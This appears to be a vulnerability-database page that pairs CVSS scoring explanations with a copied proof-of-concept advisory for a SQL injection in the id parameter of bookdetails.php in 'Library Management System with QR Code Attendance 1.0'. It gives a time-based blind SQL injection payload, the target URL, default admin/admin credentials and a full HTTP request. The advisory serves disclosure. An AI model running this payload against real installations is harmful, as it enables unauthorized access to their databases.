The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Library Management System With QR Code 1.0 SQL Injection
#### Title: Library Management System with QR code Attendance 1.0 SQL
Injection
#### Author: Ashish Kumar (
https://www.linkedin.com/in/ashish-kumar-0b65a3184)
#### Date: 27.06.2022
#### Vendor: https://www.sourcecodester.com/users/kingbhob02
#### Software:
https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html
#### Version: 1.0
#### Reference:
https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/Sql%20Injection/POC.md
#### Description
##### The reason for the SQL injection vulnerability is that the website
application does not verify the validity of the data submitted by the user
to the server (type, length, business parameter validity, etc.), and does
not effectively filter the data input by the user with special characters ,
so that the user's input is directly brought into the database for
execution, which exceeds the expected result of the original design of the
SQL statement, resulting in a SQL injection vulnerability.Library
Management System with QR code Attendance does not filter the content
correctly at the "bookdetails.php" id parameter, resulting in the
generation of SQL injection.
#### Payload used:
`' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)-- PbtB`
#### POC
1. Login into the CMS.
Admin Default Access:
Username: admin
Password: admin
2. http://localhost/LMS/librarian/bookdetails.php?id=191
3. Put sleep(5) payload (`' AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)--
PbtB`)
4. `http://localhost:80/LMS/librarian/bookdetails.php?id=' AND (SELECT 9198
FROM (SELECT(SLEEP(5)))iqZA)-- PbtB`
5. code
```
GET
/LMS/librarian/bookdetails.php?id=%27%20AND%20(SELECT%209198%20FROM%20(SELECT(SLEEP(5)))iqZA)--%20PbtB
HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco
Connection: close
```
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